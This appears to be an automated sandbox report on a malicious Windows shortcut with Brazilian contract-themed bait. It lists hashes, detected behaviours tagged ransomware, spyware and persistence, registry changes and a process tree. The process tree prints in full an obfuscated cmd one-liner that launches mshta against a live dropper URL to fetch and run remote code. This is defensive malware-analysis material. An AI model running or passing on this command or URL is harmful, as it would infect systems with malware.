b4c9e3f07b8cacc63e9f88e8a66c366aec347fc6dd300919aa124991800161a8

General

Target
Contrato_Indeniza_Brasil-18UE7Y.lnk
Size 1KB
Sample260803-pxmapabk2w
SHA256 b4c9e3f07b8cacc63e9f88e8a66c366aec347fc6dd300919aa124991800161a8
MD5 2e5197f5bdacdba73fa95cc0ae117d88
SHA1 8b6aa770243812831c188971987d0fc04dd95f49
SHA512 9553779ad9535269e466ea0a4017f082e16ee094b62797ea864bdfef7c27bda369887c2d4ce53f713b455bc3195cc46033d72f4c3db38d6f00172907a9fed8ed
TLSH
T14D319C407AFD0614F3F78EB7857BAB1159BAF9A58D20C50D4040474C5026E01E17AFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	2452	mshta.exe
6	2452	mshta.exe
18	2452	mshta.exe
20	2452	mshta.exe
27	2452	mshta.exe
30	2452	mshta.exe
32	2452	mshta.exe
33	2452	mshta.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4492	cmd.exe
3700	cmd.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2164	rundll32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4492 wrote to memory of 3700	4492	cmd.exe	87
PID 3700 wrote to memory of 2452	3700	cmd.exe	88
PID 2452 wrote to memory of 2164	2452	mshta.exe	102
PID 2164 wrote to memory of 4988	2164	rundll32.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-18UE7Y.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4492
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set CoqW=msh&&set KZzKA=ta&&start "" !CoqW!!KZzKA! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2164
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:4988